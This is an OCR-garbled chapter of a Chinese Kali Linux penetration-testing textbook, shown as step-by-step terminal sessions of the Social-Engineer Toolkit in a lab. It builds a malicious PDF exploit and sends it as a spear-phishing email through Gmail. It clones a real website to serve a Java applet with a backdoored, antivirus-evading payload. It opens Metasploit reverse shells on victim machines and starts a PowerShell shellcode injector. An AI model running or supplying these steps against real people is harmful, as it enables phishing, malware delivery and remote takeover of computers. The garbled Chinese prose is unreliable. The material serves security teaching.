(14) fFIRMRER )T, HFEE b ABGE . 7R3 R PR I i Mitm|Stop mitm
attack(s)fr %, R W n WIE 7.19 iy 5 5 .

hTﬂgets Hosts View Mitm Filters Logging Plugins ?

ettercap 0.8.0 iﬁﬁ

(F nobady)

(15) {fEiZAHSR . “#E” 5, KRRl ze s T At .

7.4 4% SET 3 FH

e 6 MITM attack(s) stopped
Start sniffing Ctrl+W
Stop sniffing Ctrl+E
ess Description
Exit Ctrl+X C0:00:08 *E(O)
| X
B 7.18  f kM eE K 7.19 Ak AR S

BT e8 T4k TR TRA (SET) [ME AL b T REH BT/ B4 5 (1 PELAR 4L
X TREFI SRR IIRE . AR A A A2 TR T RS & R
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741 B RGESE

St Ay 10 Ty ) A M R R R SRR SRR R AT B B, WAl JT] Adobe
Reader 8.1.0 (PDF [ i35 ) (RIdaiid . SEILFY Bk )t 5 208 o AR MR AR 75 58, 6
BB BRSNS AGE R A b BN 2 FAS EHL ST IR ISR R, Fbs Edlmies
o T o A

SET i ] 0L s £ B pp % (SMTP) fY TFHCAHE (R 44 f B 75 N IER)D . Gmail
Al Sendmail K AL M SET [R]IN -t Ad ] b e it -5~ M5 A A1 T~ HTML A% 30 -5~ s>k
Kah At

(32450 7-11 {8/ SET sl gy i &, A bl i A& A 7E 2 E AU ) PDF 52X
SCAFFE A bR AL HARERE DR s,

(1) Btk TR $dTaS W FR:

root@kali:~# setoolkit

[-] New set_config.py file generated on: 2014-06-06 18:33:39.854805

[-] Verifying configuration update...

[¥] Update verified, config timestamp is: 2014-06-06 18:33:39.854805

[*¥] SET is using the new config, no need to restart

\ / /
I /
1! /1
=] The Social-Engineer Toolkit (SET) -1
[ Created by: David Kennedy (RelL1K) [
[ Version: 5.4.2 =
-] Codename: "'Walkers' =
=] Follow us on Twitter: @ TrustedSec -]
[ Follow me on Twitter: @HackingDave [--]
[-] Homepage: https://www.trustedsec.com [--]

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu: #EEWEHFER

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration

7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit

set>
(2) fERL B fa& TRE, %54 1, W R
set> 1
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I\ /M
1l 1A}

Il Social-Engineer Toolkit Il \

1l 1

n Free 1
Il 1
I #hugs ol
1l 1
I By: TrustedSec n J

Il 1/
I/ \I/

\ [N

! I

/oooo 0000 0000 0000 /!
/00000000000000000000000/ /
/00000000000000000000000/ /

/C= [/
=] The Social-Engineer Toolkit (SET) -1
[---] Created by: David Kennedy (ReL1K) -1
[ Version: 5.4.2 =
- Codename: "'Walkers' =
=] Follow us on Twitter: @ TrustedSec -]
[] Follow me on Twitter: @HackingDave [--]
[-] Homepage: https://www.trustedsec.com [--]

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.

set>
(3) 7ELA B S 0Gh 6 8, X RSP arahma, 450 1, W M
set> 1

The Spearphishing module allows you to specially craft email messages and send
them to a large (or small) number of people with attached fileformat malicious
payloads. If you want to spoof your email address, be sure "Sendmail” is in-
stalled (apt-get install sendmail) and change the config/set_config SENDMAIL=OFF
flag to SENDMAIL=0ON.
There are two options, one is getting your feet wet and letting SET do

everything for you (option 1), the second is to create your own FileFormat
payload and use it in your own attack. Either way, good luck and enjoy!

1) Perform a Mass Email Attack

2) Create a FileFormat Payload

3) Create a Social-Engineering Template

99) Return to Main Menu
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set:phishing>1
Select the file format exploit you want.
The default is the PDF embedded EXE.
sokckkxkxkkk PAYLOADS sk
1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2) SET Custom Written Document UNC LM SMB Capture Attack
3) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
4) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
5) Adobe Flash Player "Button" Remote Code Execution
6) Adobe CoolType SING Table "unigueName" Overflow
7) Adobe Flash Player "newfunction" Invalid Pointer Use
8) Adobe Collab.collectEmaillnfo Buffer Overflow
9) Adobe Collab.getlcon Buffer Overflow
10) Adobe JBIG2Decode Memory Corruption Exploit
11) Adobe PDF Embedded EXE Social Engineering
12) Adobe util.printf() Buffer Overflow
13) Custom EXE to VBA (sent via RAR) (RAR required)
14) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
15) Adobe PDF Embedded EXE Social Engineering (NOJS)
16) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
17) Apple QuickTime PICT PnSize Buffer Overflow
18) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
19) Adobe Reader u3D Memory Corruption Vulnerability
20) MSCOMCTL ActiveX Buffer Overflow (ms12-027)
set:payloads>8

fan A B o TR I P a) RUE R SO RS 2C, BRIAZ PDE K%
(5) iX H A ] Abobe PDF [ Collab.collectEmaillnfo JE i, FrLIiEEe4n= 8, Ul FHix:

1) Windows Reverse TCP Shell Spawn a command shell on victim
and send back to attacker

2) Windows Meterpreter Reverse_TCP Spawn a meterpreter shell on
victim and send back to attacker

3) Windows Reverse VNC DLL Spawn a VNC server on victim and
send back to attacker

4) Windows Reverse TCP Shell (x64) Windows X64 Command Shell,

Reverse TCP Inline
5) Windows Meterpreter Reverse_TCP (X64)  Connect back to the attacker
(Windows x64), Meterpreter

6) Windows Shell Bind_TCP (X64) Execute payload and create an
accepting port on remote system
7) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP

using SSL and use Meterpreter

PAEAR B s 1 B 5
(6) XHLILFES 2 MEHL, W R FR:

set:payloads>2

set> |P address for the payload listener:192.168.41.156 #i& B W& £ # At ht
set:payloads> Port to connect back on [443]: HEBWEENAIROS
[-] Defaulting to port 443...

[-] Generating fileformat exploit...

[*] Payload creation complete.

[*] All payloads get sent to the /root/.set/template_pdf directory

[-] As an added bonus, use the file-format creator in SET to create your attachment.
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Right now the attachment will be imported with filename of'template.
whatever'
Do you want to rename the file?
example Enter the new filename: moo.pdf
1. Keep the filename, | don't care.
2. Rename the file, | want to be cool.

MEL Fogi i E o, wT LU B8 ey G @ se e AT B Ay /A7 /1 /root/ set/
S AF44H template pdf.

(7) IXHEF R~ Edy 412 300 . X AT ER AR PDF SCA template pdf, i A% 1,
W rErs:

set:phishing>1

[*] Keeping the flename and moving on.
Social Engineer Toolkit Mass E-Mailer
There are two options on the mass e-mailer, the first would
be to send an email to one individual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.
What do you want to do:
1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
99. Return to main menu.

a0 A Sl Sk ISR M A 5K
(8) X HLEEFRE X L — PPt REAT Mooy, fAS s 1, W P as:

set:phishing>1
Do you want to use a predefined template or craft
a one time email template.

1. Pre-Defined Template
2. One-Time Use Email Template

B th A5 RN 2 R BT R A ISEE LR, SET e vFSrdi & G A [ (AR,
I HAEAE I SR s & T A
(9) IXHAF S E SRR, WIAG 5 1, W FPR:

set:phishing>1

[-] Available templates:

1: Have you seen this?

2: How long has it been?
3: Strange internet usage from your computer
4: Status Report
5: New Update

6: Computer Issue
7: Dan Brown's Angels & Demons
8: Order Confirmation

9: WOAAAAIIIII This is crazy...
10: Baby Pics

it 4R SR T AT Al AR
(10) JXHLIEFEAT A ot Y SET MEAFARAR Status Report, HiIAG = 4, W R FiR:

set:phishing>4
set:phishing> Send email to:*#*#x+=x@126.com #ig E R X R B A9t
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1. Use a gmail Account for your email attack.
2. Use your own server or open relay

s B T2 Hibs BEHUAER IR 7 v
(11) XHEFEAFH Gmail BEFIK S, A 1, W FR:

set:phishing>1

set:phishing> Your gmail email address:#**#*xxx*kix@gmail.com  #4 A Gmail AF{EEMH P
set:phishing> The FROM NAME user will see: :

Email password: #Hih A HIRFE 2 55
set:phishing> Flag this message/s as high priority? [yes|no]:yes

[*] SET has finished delivering the emails

set:phishing> Setup a listener [yes|no]:

Mo B, W LAUE 2] SET {43 M fH ¥ & 5 . JEI el LLAEH] 1% Gmail Mg, 45
BN E TSR RE Gl @126.com) K I EICIF. g, fon e mies T .

(12) XHEE—alr, HSR U@ keosfif . 2 SET Ji3)) Metasploit i,
'V OETCE T AT AT (WL, K T i A 3 i ALY TP S 1) 8 3] 443 w5 11, W1 R iR

set:phishing> Setup a listener [yes|no]:yes

[-] ##

[-] * WARNING: Database support has been disabled
[_] Hokk

# cowsay++

< metasploit >

Vo
\ (o0)_____
) N
[I--] =
Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
-- type 'go_pro' to launch it now.
=[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1246 exploits - 678 auxiliary - 198 post
+ -- —=[ 324 payloads - 32 encoders - 8 nops
[*] Processing /root/_set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.41.156
LHOST => 192.168.41.156
resource (/root/.set/meta_config)> set LPORT 443
LPORT => 443
resource (/root/.set/meta_config)> set ENCODING shikata_ga_nai
ENCODING == shikata_ga_nai
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession == false
resource (/root/.set/meta_config)> exploit -
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 192.168.41.156:443

[*] Starting the payload handler...
msf exploit(handler) >

a0 o T W B A AR e = AR EAT T AR RS M AE N, R 2r B
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IR T 0L 192.168.41.156:443,

SR INy Aady FEHL AT LA i G 42 (1Y) template.pdf SCfF, G L IR AIE S Adr. A
b P AT IFE AN AL ) PDE SCfFRE, Do F AR U T B FEXGE LHLE, ¥
F T R rfE e

msf exploit(handler) >

[*] Sending stage (769024 bytes) to 192.168.41.146

[*] Meterpreter session 1 opened (192.168.41.156:443 -> 192.168.41.146:1083) at 2014-06-07
11:17:11 +0800

W A(E B, WG EHLAOH R 192.168.41.146. IR, T BHLS HAs ML
IR AL T — N, WR s

msf exploit(handler) > sessions
Active sessions

Id Type Information Connection

1 meterpreter x86/win32 AA-8860KJM26FSW\Test @ AA-8860KJM26FSW
192.168.41.156:443 -> 192.168.41.146:1083 (192.168.41.146)

M GRS, WTUERE A2 EEED, R T HEEVMERER. W
P RS, win32, B4 AA-8860KIM26FSW., Eok [ H 7l Test J 141 IP Hh
hbo WS ZSTE)G, ST RATE H s ML BB TAT AT A . sk AR 2 T8 7 H bR L.
WoEasih, W pR:

msf exploit(handler) > sessions -i 1
[#] Starting interaction with 1...

meterpreter >

M AE S eT LA B 0E 1 8D BG . e st ] LA AE meterpreter iy 1T, $i
TR 4 o W5 B FRFEHLI Shell, W1 R rR:

meterpreter > shell

[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 792 created.

Channel 2 created.

Microsoft Windows XP [iZ 5.1.2600]

(C) BE#ZFRA 1985-2001 Microsoft Corp.

C:\Documents and Settings\Test\%£ f>

5 EL B R 4 C:\Documents and Settings\Test\&% 1>, F e Ih &k 2 Hir EHL. I
HFAH S 12 LL Test P 89543, 76 HbR LU TAE. &6 480 H 3P scfide, Wy
FioR:

C:\Documents and Settings\Test\s E>dir #31| i B &P R A X
dir
IKENEE C I E IR FIRE
EHIFSIS2Z 1806-07F4
C:\Documents and Settings\Test\\f @ KB F
2014-06-07 11:11 <DIR>
2014-06-07 11:11 <DIR>

2014-05-06 19:46 54 111 txt

2014-06-07 11:00 57,364,480 AdbeRdr810_zh_CN.msi
2014-06-06 16:01 46,844 JEdB2oma7AEGVT7G.pdf
2014-06-06 18:54 6,619 template.pdf
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4 3zt 57,417,997 =¥
2 NBHF 38,359,552,000 AfH=ET

RO R o T H AR ENUE T ERIBT SO H 3 RSB SCFRI N A, R
FT7R:

C:\Documents and Settings\Test\&£ f>type 111 txt H#HEEXHAZR
type 111.txt
Ethernet adapter ZKihyE$2:

Connection-specific DNS Suffix . : localdomain

IP Address. .. .........: 2192, 168 41.146

SubnetMask . ... ..... .: :255.255.255.0

Default Gateway ... ......: :192.168.41.2

S VBN T 11t SOOI 2.
742 WebNFm=

Web i Jn) 5 227 B I — 265 B bR 5 2 0I5 H R %R Ak . SET i
Web s ] & o AEL il RIS BRig AT I e 0l R, AR A g2 —FE . X, HasHl
JELA B CIEFEVT AN AR L i A B R NG . AR EAE T SET s
Web Hrii|n) & .

(3261721 RiffdH] Java applet it s 8l Web Ty i . FARERIEDIRA F .

Java applet X0t 5| A TG Java applet B )7 EAT 47 GEAL I D0 WE 85 A A, 4 {R applet §E
7 FU A3 U A b IR IZ AT HHTL E7E H AR Tl g B diar . Java applet Iﬁiﬁﬂ“‘%ﬂ’
N2 Tava A G (IRIR, R 252 B H AR SO R DU, R Dl AN R
A5 B ) 2 7 T s AT — AR F (L1 Tava applet £ . BT Java fthfﬁHXT /l\ apple
TR A FHATS S, P TLUO e & Ai# 2 SUA Google Ml Microsoft 25, 1XFf, 1R
oA N2 I .

(D) Jaahttss TR AT 4w FRR:

root@kali:~# setoolkit

Select from the menu:

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Modules

4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration

7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit
set>

AL AR BB T P I B B A
(2) IXHIFEAL S TR BG, SIAGR S 1o RS B P4 B

set> 1
M""bgd "7MM""YMM MMP""MM""Y MM
M Y MM TP MM 7
"MMb. MM d MM
YMMNg. MMmmMM MM
MM MM Y |, MM
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P"Ybmmd" JMMmmmmMMM  .JMML.

[--] The Social-Engineer Toolkit (SET) [
[--] Created by: David Kennedy (ReL1K) -]
[--] Version: 6.0 [-]
[--] Codename: 'Rebellion’ [--]
[--] Follow us on Twitter: @TrustedSec [--]
[--] Follow me on Twitter: @HackingDave [---]
[--] Homepage: https://www.trustedsec.com [--]

Welcome to the Social-Engineer Toolkit (SET).
The one stop shop for all of your SE needs.
Join us on irc.freenode.net in channel #setoolkit
The Social-Engineer Toolkit is a product of TrustedSec.
Visit: https://www.trustedsec.com
Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.
set>

B4 B s T AL TR, I E AT B AER
(3) JXHLIEFE Web Mrddi s, FyAZ 'S 2. FF 80T s ifE .

set> 2
The Web Attack module is a unique way of utilizing multiple web-based attacks in order to
compromise the intended victim.
The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based
payload. Uses a customized java applet created by Thomas Werth to deliver the payload.
The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an
iframe and deliver a Metasploit payload.
The Credential Harvester method will utilize web cloning of a web- site that has a username and
password field and harvest all the information posted to the website.
The TabNabbing method will wait for a user to move to a different tab, then refresh the page to
something different.
The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes
iframe replacements to make the highlighted URL link to appear legitimate however when clicked
a window pops up then is replaced with the malicious link. You can edit the link replacement
settings in the set_config if its too slow/fast.
The Multi-Attack method will add a combination of attacks through the web attack menu. For
example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all
at once to see which is successful.

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method

3) Credential Harvester Attack Method

4) Tabnabbing Attack Method

9) Web Jacking Attack Method

6) Multi-Attack Web Method

7) Full Screen Attack Method

99) Return to Main Menu

set:webattack>
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farh B4 B s T Web Bodi i &b, B BBl iR AR .
(4) IXHIESF Java applet Wi 7ik, HASS 1. Rpiznil FPRmfE R

set:webattack>1

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack>

it AO45 B s T Java applet MGl SR AR . — RSO . AEFTRTIRr. s —
P (Web BibL) fE4l o TR QIR —A— AR T, 55 = FF (GRS 24 H] CAFER
W0 GO Ay — A, RIS 0L

(5) XHLIEFEE W MG, A 2. R 2o T PR ifE He

set:webattack>2
[-] NAT/Port Forwarding can be used in the cases where your SET machine is
[-] not externally exposed and may be a different IP address than your reverse listener.
set> Are you using NAT/Port Forwarding [yes|no]: no
#e & {EFH NAT/Port $ %
[-] Enter the IP address of your interface IP or if your using an external IP, what
[-] will be used for the connection back and to house the web server (your interface address)
set:webattack> IP address or hostname for the reverse connection:192.168.
6.103 #ig B W E A AT AL

I 1
L L}
Java Applet Configuration Options Below
I 1

L L}

Next we need to specify whether you will use your own self generated java applet, built in applet,
or your own code signed java applet. In this section, you have all three options available. The first
will create a self-signed certificate if you have the java jdk installed. The second option will use the
one built into SET, and the third will allow you to import your own java applet OR code sign the
one built into SET if you have a certificate.

Select which option you want:

1. Make my own self-signed certificate applet.

2. Use the applet built into SET.

3. | have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2 #1%£$% Java applet ZEH!
[*] Okay! Using the one built into SET - be careful, self signed isn't accepted in newer versions of
Java :(

[-] SET supports both HTTP and HTTPS

[-] Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone:http://www.qq.com #i& & £ § #4957
[*] Cloning the website: http://www.qq.com

[*] This could take a little bit...

[*] Injecting Java Applet attack into the newly cloned website.

[#] Filename obfuscation complete. Payload name is: vWzsHO

[*] Malicious java applet website prepped for deployment

What payload do you want to generate:
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Name: Description:

1) Windows Shell Reverse_TCP Spawn a command shell on victim
and send back to attacker

2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on
victim and send back to attacker

3) Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and
send back to attacker

4) Windows Bind Shell Execute payload and create an
accepting port on remote system

5) Windows Bind Shell X64 Windows x64 Command Shell, Bind
TCP Inline

6) Windows Shell Reverse_TCP X64 Windows X64 Command Shell,

Reverse TCP Inline
7) Windows Meterpreter Reverse_TCP X64 Connect back to the attacker
(Windows x64), Meterpreter

8) Windows Meterpreter All Ports Spawn a meterpreter shell and
find a port home (every port)
9) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP
using SSL and use Meterpreter
10) Windows Meterpreter Reverse DNS Use a hostname instead of an IP
address and spawn Meterpreter
11) SE Toolkit Interactive Shell Custom interactive reverse
toolkit designed for SET
12) SE Toolkit HTTP Reverse Shell Purely native HTTP shell with
AES encryption support
13) RATTE HTTP Tunneling Payload Security bypass payload that
will tunnel all comms over HTTP
14) ShellCodeExec Alphanum Shellcode This will drop a meterpreter
payload through shellcodeexec
15) Pylnjector Shellcode Injection This will drop a meterpreter

payload through Pylnjector
16) MultiPylInjector Shellcode Injection This will drop multiple
Metasploit payloads via memory
17) Import your own executable Specify a path for your own
executable
set:payloads>

DL A B s TR A B a8
(6) X H JEFF Windows Reverse TCP Meterpreter B 74 fer, @ — = i) TCP & .
NG 2, BRI RIE

set:payloads>2
Select one of the below, 'backdoored executable' is typically the best. However,
most still get picked up by AV. You may need to do additional packing/crypting
in order to get around basic AV detection.
1) shikata_ga_nai
2) No Encoding
3) Multi-Encoder
4) Backdoored Executable
set:encoding>4 HEFEIMBERAN
set:payloads> PORT of the listener [443]: #igBMITAHOS
[*] Generating x86-based powershell injection code for port: 22
[*] Generating x86-based powershell injection code for port: 53
[*] Generating x86-based powershell injection code for port: 443
[*] Generating x86-based powershell injection code for port: 21
[*] Generating x86-based powershell injection code for port: 25
[*] Finished generating powershell injection bypass.
[*¥] Encoded to bypass execution restriction policy...
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[-} Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds...
[*] Backdoor completed successfully. Payload is now hidden within a legit executable.
[*] Apache appears to be running, moving files into Apache's home

3 ofe 24 e e e ok 24 2 2 e 2 e e e she e e ofe e ok e 2 o she 2k e e e e e 2 e e e e e ok e 2fe o e ok e e ke e e ek

Web Server Launched. Welcome to the SET Web Attack.

3 ofe 24 e e e ok 24 2 2 e 2 e e e she e e ofe e ok e 2 o she 2k e e e e e 2 e e e e e ok e 2fe o e ok e e ke e e ek

[--] Tested on Windows, Linux, and OSX [--]
[--] Apache web server is currently in use for performance. [--]
[*] Moving payload into cloned website.

[*] The site has been moved. SET Web Server is now listening..

[-] Launching MSF Listener...
[-] This may take a few to load MSF...

A - Y
IN /] W I VAR N
UM N1 A LN = ] -
0 1 e A W R O e A/ B U

VL / \_ VAW _/ V A

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.9.3-2014070201 [core:4.9 api:1.0] ]
+ - -—=[ 1315 exploits - 716 auxiliary - 209 post ]
+ -- -—=[ 341 payloads - 35 encoders - 8 nops ]
+ - --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /root/.set/meta_config for ERB directives.

resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.6.103
LHOST => 192.168.6.103
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession == false
resource (/root/.set/meta_config)> set LPORT 22
LPORT == 22
resource (/root/.set/meta_config)> exploit -]
[*] Exploit running as background job.
resource (/root/.set/meta_config)> use exploitmulti/handler
resource (/root/.set/meta config)> set PAYLOAD windows/meterpreter/
reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.6.103
LHOST => 192.168.6.103
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding == false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT 53
LPORT == 53
resource (/root/.set/meta_config)> exploit -
[*] Exploit running as background job.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp
[*] Started reverse handler on 192.168.6.103:22
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[*] Starting the payload handler...

PAYLOAD => windows/meterpreter/reverse_tcp

resource (/root/.set/meta_config)> set LHOST 192.168.6.103
LHOST => 192.168.6.103

resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false

resource (/root/.set/meta_config)> set LPORT 443

LPORT => 443

resource (/root/.set/meta_config)> exploit -

[*] Exploit running as background job.

resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp

[*] Started reverse handler on 192.168.6.103:53

PAYLOAD => windows/meterpreter/reverse_tcp

[*] Starting the payload handler...

[*] Started reverse handler on 192.168.6.103:443

resource (/root/.set/meta_config)> set LHOST 192.168.6.103

[*] Starting the payload handler...

LHOST => 192.168.6.103

resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding == false

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false

resource (/root/.set/meta_config)> set LPORT 21

LPORT => 21

resource (/root/.set/meta_config)> exploit -j

[*] Exploit running as background job.

resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/
reverse_tcp

PAYLOAD => windows/meterpreter/reverse tcp

resource (/root/.set/meta_config)> set LHOST 192.168.6.103
LHOST => 192.168.6.103

resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession == false

resource (/root/.set/meta_config)> set LPORT 25

LPORT == 25

resource (/root/.set/meta_config)> exploit -

[*] Exploit running as background job.

[*] Started reverse handler on 192.168.6.103:21

[*] Starting the payload handler...

msf exploit(handler) >

[*] Started reverse handler on 192.168.6.103:25

[*] Starting the payload handler...

PL g AE B Mok LA DGR & . X%, 25 bR =L I Y as 07 in) Bods 3=
PILISE R 2 9 e

(7) MR HbR AL B B 0L, F Bl 7.20 Bras i FHii .

(8) MiZ FLT n] LA BT AN GHEHE, o) ) 25 BHE 1T 1A FL T o 126 TR HE L 2 Java
applet #H F]. MAFRYR] BLFE 3], J& Verified Trusted and secure (VERIFIED) . I {FEE
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E

i
3

& hitp://192.168.6.103/ - | 42| x [ Ba ing L~

e | o b Bums v F) SESKMEE v
SEFET [ &- v C A v WEP) v 226 v IEO) >~ @~

PN - <7

== xs - F TR ] €
;ﬁ;@f}ﬂﬁﬁﬂ'ﬂﬂ?ﬁ-ﬁi%@ﬁﬁo & EETEEN 0 i
EEa]

EiTA: A
M- http://192.168.6. 103

[l iR LR TERIFIE o) -

&#R:  Verified Trusted and Secure (VERIFIED) ‘

-'\_ ZREEFSETZEAOHIEA TR ITRSEREE
FHAMEE. RERERESRTEHATRITIRRER-

720 G HHE
[*] Sending stage (769536 bytes) to 192.168.6.106

[¥] Meterpreter session 1 opened (192.168.6.103:443 -> 192.168.6.106:50729) at 2014-07-19

12:23:24 +0800
[¥] Meterpreter session 2 opened (192.168.6.103:21 -> 192.168.6.106:50728) at 2014-07-19

12:23:25 +0800
[*] Meterpreter session 3 opened (192.168.6.103:22 -> 192.168.6.106:50727) at 2014-07-19

12:23:25 +0800
[*] Meterpreter session 4 opened (192.168.6.103:53 -> 192.168.6.106:50730) at 2014-07-19

12:23:25 +0800
msf exploit(handler) >

MELEER ARG, rTUEREE T 4 Aaif. BN AT LUER sessions i< &5 6

2l

(9) mH. AT W FHR:

msf exploit(handler) > sessions
Active sessions

Id Type Information Connection

1 meterpreter x86/win32 WIN-RKPKQFBLG6C\Administrator @ WIN-RKPKQFBLGEC
192.168.6.103:443 -> 192.168.6.106:50729 (192.168.6.106)

2 meterpreter x86/win32 WIN-RKPKQFBLGGEC\Administrator @ WIN-RKPKQFBLG6C
192.168.6.103:21 -> 192.168.6.106:50728 (192.168.6.106)

3 meterpreter x86/win32 WIN-RKPKQFBLGGEC\Administrator @ WIN-RKPKQFBLG6C
192.168.6.103:22 -> 192.168.6.106:50727 (192.168.6.106)

4 meterpreter x86/win32 WIN-RKPKQFBLGEC\Administrator @ WIN-RKPKQFBLG6C
192.168.6.103:53 -> 192.168.6.106:50730 (192.168.6.106)

Mt BAs B, TR BB EHLE AN R A DR 1 PO 16 . SRR af LUE SR

JABATAT— A2k, SRR LU #2147 Shell,

(10) jAshesih 1, FHF3RHOZFE LM Shell, $AT a4 W F PR :

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
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meterpreter > shell

Process 5056 created.

Channel 1 created.

Microsoft Windows [[(0i% 6.1.7601]

OO000O00 (e) 2009 Microsoft Corperation 1000000000110
C:\Users\Administrator\Desktop>

Mo H G B, alLUE B RS 3R E ] — g #2 Shell.
7.4.3 PowerShell ifE=

fEFE 2 LR, M T Java (Y] PowerShell Jdy [ f2 R B 51 o 4 2R AR 4L
BATIEAT Java, WIABERK G & 07 o) Mok AL 2 DRI, KA REI AT Bl B BARE
SR Iy OS] F RS EANLR SN S . ] PowerShell Mk ) 5 ] LA 6
i PowerShell SCf, FRE G I 1 SCHF AR SR H bR = HARIg T, wtnl RLEREG— A1 /%
HER . A/NTRE A4 PowerShell Tl [i] .
[354] 7-3]1 i ] PowerShell X b5 ] & 61| & PowerShell 344, 1% O RIES Hbx
Tl FARERAELIRW F s,
(1) Bahtka TRY. PATardin FiR:
Select from the menu:
1) Social-Engineering Attacks
2) Fast-Track Penetration Testing
3) Third Party Modules
4) Update the Metasploit Framework
5) Update the Social-Engineer Toolkit
6) Update SET configuration

7) Help, Credits, and About
99) Exit the Social-Engineer Toolkit

set>
(2) P TRES, A% S 1, W FR:
set> 1

Select from the menu:
1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules
99) Return back to the main menu.

set>
(3) jEFF PowerShell Biifi &, A5 10, KW ForpfsE B:
set> 10

The Powershell Attack Vector module allows you to create PowerShell specific attacks. These
attacks will allow you to use PowerShell which is available by default in all operating systems
Windows Vista and above. PowerShell provides a fruitful landscape for deploying payloads and
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performing functions that do not get triggered by preventative technologies.
1) Powershell Alphanumeric Shellcode Injector
2) Powershell Reverse Shell
3) Powershell Bind Shell
4) Powershell Dump SAM Database
99) Return to Main Menu
set:powershell>

(4) 3EFF PowerShell FRHURGEN, HIAG T 1. RSt FPrRfE -

set:powershell>1
set> IP address for the payload listener: 192.168.6.103
He B E E A A ht
set:powershell> Enter the port for the reverse [443]:
#HeEREEMmHOS, XEERKINRDS
[*] Prepping the payload for delivery and injecting alphanumeric shellcode...
[*] Generating x86-based powershell injection code...
[*] Finished generating powershell injection bypass.
